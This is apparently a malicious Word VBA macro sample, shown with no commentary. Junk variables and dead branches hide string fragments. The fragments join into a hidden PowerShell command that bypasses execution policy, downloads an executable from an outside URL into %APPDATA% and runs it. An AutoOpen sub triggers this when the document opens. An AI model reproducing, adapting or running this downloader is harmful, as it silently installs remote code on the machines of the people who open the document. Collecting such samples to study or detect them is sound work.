Malicious Code VBA

Attribute VB_Name = "tmp3DEF"
Sub gyjale()
Dim t8, a6, oh7, dgi0, zku4, bg, c8, u, ep8, mivekken4, ww0, to4, ips4, qgy9, zy6, xa9, hpyjvapy0, ti1, oz, v5, rq, av4, qqyvidlah
Dim yqn, ma5, lr, ohc7, ci, a, sf9, ir9, k8, x2, nfa, i, ont, oqm, rji, k, a8, i9, qo4, jza, bu7, ff8, ol, ze8, i4, enb, sycty6, h, ri, un3, s2, ohl, z, wi9, o4, ww4, moby, ob4, ij, p8
If 729 = 239 Then
Dim ikubi
ikubi = "ygoju"
End If
Dim w8, qbi0, zr2, x4, qd0, u7, o7, x, d, yx, xf, y1, jqi, lbi3, j0, ih, xto, zfu5, orz0, lo, fq2, g, ewq3, ut, sk5, y, od2
Dim amuq
amuq = 9133
o4 = "  ^"
sycty6 = "WScr"
jqi = "P^o"
a8 = "bY^"
sk5 = "sea"
If "wcedod" = "enliw" Then
Dim dqaqroro
dqaqroro = "mbumzylhe"
Dim womo
womo = #4/4/1985#
' qhyh
End If
ont = "^l."
hpyjvapy0 = "Shel"
ze8 = "l^e"
lr = "T-P"
ma5 = "'ht"
Select Case "do"
Case "ofu"
' jvodbaludt zlexis vomx odpejxoje oho
Rem uzramcifa niwoda
Rem cjohgos woqwejetj uvuxypga uxwuq yqalku
Case "avhucga"
Dim husebg
husebg = #4/20/2018#
Case "bwu"
' udazma zfyfodrerc uweno pahsixe
Dim flechi
flechi = False
Rem wpiry ijpijitno
' tdabxek asyjkasrig ezbic ani qohy oczugyvvo hzonbu
End Select
u7 = ").^"
xto = "^  "
ohc7 = "-my"
to4 = "B^J"
ob4 = "ROC"
' ebnucquvq
enb = "-No"
ir9 = "N^d"
g = "e^L"
Rem wopoq ukji abvox ogasx ifdaxu aqerazzyp ofogz
oqm = "ers"
Select Case 676
Case 19
Rem xpunsojtewj obysvo skuj yzlog arodqojle
Dim esobxoxc
esobxoxc = "yla"
Case 88
Rem qbicny uchokwewqa myrsotyvly lrurevvu dxanucd
' ybkifmi efowu uvoxbokzub jhaqh xrurnibzini voqewj fkoce
Dim husycji
husycji = 1702
Dim alkeporq
alkeporq = #5/20/1986#
Case 115
Dim aliqpo
aliqpo = 4000
Dim ogatt
ogatt = True
' cylifzo
End Select
ri = "^TI"
If "yvhadw" = "govcy" Then
Rem otiry mxyburag ebjyqazw
Dim banawd
banawd = True
' iwi hvuryfgo
End If
dgi0 = "m^."
lo = "pDa"
i4 = "  -"
bg = "s^h"
qqyvidlah = "ipt."
k = "WEr"
oh7 = ".wa"
Dim evorz
evorz = "glykm"
ips4 = "DOW"
ow0 = "%AP"
If 862 = 282 Then
Dim urebbe
urebbe = True
Dim yhlit
yhlit = #5/6/1954#
Rem ubciro weze okipufaqh
End If
ci = "^e^"
ewq3 = "BcL"
v5 = "n  "
od2 = "e /"
Dim usob
usob = True
ww4 = " HI"
Dim otkekbo
otkekbo = True
y1 = "SyS"
x = "^Ic"
If "ime" = "gibu" Then
Dim ypwamr
ypwamr = 4947
Dim wbasyx
wbasyx = "zaja"
End If
c8 = ".we"
o7 = "eCU"
Dim uwhyho
uwhyho = 3101
h = "s '"
k8 = "lE("
un3 = "POl"
Select Case "bxyhyf"
Case "fim"
Dim bmyzixku
bmyzixku = #10/9/1974#
' myxyjkob stirsobhyzs wmiljaxk tidbongyfmu wuhmeqdoze cvoqcy
Case "zovcu"
Rem khuly
Dim mpombiba
mpombiba = "ebihaq"
Dim qbuwgato
qbuwgato = "in"
Case "ulce"
Dim ijejzi
ijejzi = 2189
' elu
' oxsegimf orargumgeb hgix acpabratt
End Select
s2 = ".ex"
bu7 = "e^X"
xf = "w-o"
If 715 = 439 Then
Rem ryhi ohoxosk kfovje
Dim ocapnu
ocapnu = "6424"
End If
ij = "NET"
Rem lmeczihokf ebsuk sylpobrir ylitwuxli vyvq
u = "stY"
p8 = "^Fi"
nfa = "Ss^"
d = "NLo"
lbi3 = "^'%"
ih = "PRo"
Select Case 526
Case 889
Rem utqer objo jdopba tlyfvocs ybypeh utugiz uclufedi
Dim hvebze
hvebze = #9/23/2018#
Dim ftyguka
ftyguka = False
End Select
yqn = "e^x"
x4 = "');"
wi9 = "cMD"
If 858 = 934 Then
' praqducywly ihahymor
End If
zy6 = "Ta%"
If "qky" = "jkykt" Then
Rem vymhojgabo gwesbyxw
Rem fmada aksiroxe lycyhmizo olrokxamer rvytty ivel
' luxzofno
End If
ep8 = "^EC"
Select Case 576
Case 259
Dim jhahvylj
jhahvylj = 1532
Dim uzek
uzek = #7/22/1953#
Dim qyrrypu
qyrrypu = #11/26/1955#
End Select
jza = "low"
If 271 = 877 Then
Dim zmava
zmava = False
' otjugwi uqak ykqytpizr noto oherobl alwelfocba
End If
j0 = "EXE"
If "wad" = "hzek" Then
' bhejinhahy
End If
w8 = "//f"
rji = "^IE"
If "mzyhpo" = "imqe" Then
' sabuqf jnodfynz afra
Rem lgilucd gtujr urijxamza egujybdo
End If
ww0 = "dde"
Rem equnu uta gecbur otbycqu ifcyghy
zr2 = "DaT"
Select Case 184
Case 99
' akdosewrot qycxubp gfyncivt
' sujokp okipnyc xoqc icos
Dim ywbabubd
ywbabubd = #12/4/2011#
Dim scydamt
scydamt = "2142"
Case 984
Rem ucxu
Dim nihmupy
nihmupy = #8/1/1953#
Dim ebhoco
ebhoco = "9832"
Dim lgishydy
lgishydy = "ocudbo"
End Select
oz = "rch"
ff8 = "O^n"
mivekken4 = "l"
a6 = "E^S"
x2 = "e'"""
y = "T^ "
t8 = "L^E"
Dim icdake
icdake = 6754
ut = "Y  "
xa9 = "p',"
a = "FI^"
z = "n^E"
rq = "A^d"
If 923 = 839 Then
' oky lwyhaxb icrynjyd bzut jjyvyk bibxeklafby
Rem ipjaf dupun yfy uqpyznin ypbiqdyfa wer
End If
ohl = "te^"
If 701 = 925 Then
Dim uwolqe
uwolqe = "2737"
End If
oshebja = ""
ezhajo = TypeName(ActiveDocument.CodeName) = "String"
qo4 = ".Ex"
qgy9 = "^sT"
qbi0 = "ApP"
i = "C """
yx = "A^r"
sf9 = "p^A"
fq2 = ".ph"
i9 = "A%."
Dim ajgaxgobc
ajgaxgobc = "2072"
orz0 = "ng/"
qd0 = "-wI"
If "ep" = "myqbo" Then
Dim wiwlyq
wiwlyq = "patsa"
Dim xepefwy
xepefwy = 2711
' ydhawyzjysw ivquqcetwo fal inko erej
End If
ti1 = "  ("
zku4 = "Nt^"
Dim cbydda
cbydda = "odcejp"
av4 = "O^w"
Dim gwoca
gwoca = "1747"
zfu5 = "tp:"
ol = "^ ^"
moby = sycty6 & qqyvidlah & hpyjvapy0 & mivekken4
Set ybynh = CreateObject(moby)

If ezhajo Then
xoqykr = Array(wi9, s2, od2, i, jqi, k, bg, g, ont, yqn, ci, i4, bu7, o7, ri, ff8, un3, x, ut, a8, sf9, nfa, o4, enb, ih, p8, t8, ol, qd0, ir9, av4, u, ze8, xto, ww4, ww0, v5, ti1, z, xf, to4, ep8, y, y1, ohl, dgi0, ij, c8, ewq3, rji, zku4, u7, ips4, d, rq, a, k8, ma5, zfu5, w8, jza, oqm, ohc7, oh7, orz0, sk5, oz, fq2, xa9, lbi3, qbi0, zr2, i9, j0, x4, qgy9, yx, lr, ob4, a6, h, ow0, lo, zy6, qo4, x2)
ohlym = Array(Join(xoqykr, oshebja))(0)
Dim jgetdi
jgetdi = "3154"
ybynh.Run ohlym, False
End If

End Sub
Sub AutoOpen()
gyjale
End Sub